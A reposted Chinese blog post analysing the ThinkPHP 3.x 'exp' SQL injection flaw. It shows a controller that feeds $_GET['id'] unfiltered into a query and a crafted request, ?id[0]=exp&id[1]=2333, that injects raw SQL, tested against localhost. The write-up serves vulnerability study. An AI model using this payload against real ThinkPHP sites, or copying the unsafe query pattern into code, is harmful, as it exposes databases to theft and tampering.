码迷,mamicode.com
首页 > Web开发 > 详细

Thinkphp 3.x exp注入(2)

时间:2021-01-27 13:29:47      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:dump   inf   end   span   php   ima   load   array   com   

接着上篇来看 https://www.cnblogs.com/cuocuo/p/14329379.html

<?php
namespace Home\Controller;
use Think\Controller;
use \Think\Logs;
class IndexController extends Controller {
    public function index(){
        $id = $_GET[id];

        $data = M(‘user‘)->where(array(‘id‘ => $id))->find();
        dump($data);
  }
}
http://127.0.0.1/?id=1

技术图片

 

 

 

 

$val是传入的1

这里可以看到$exp是$val[0]

如果等于bind或者exp,就直接拼接

所以我们构造http://127.0.0.1/?id[0]=exp&id[1]=2333

技术图片

 

可以看到SQL语句变成了SELECT * FROM `user` WHERE `Id` 2333 我们只需要在添加个等号即可注入

技术图片

 

Thinkphp 3.x exp注入(2)

标签:dump   inf   end   span   php   ima   load   array   com   

原文地址:https://www.cnblogs.com/cuocuo/p/14329868.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!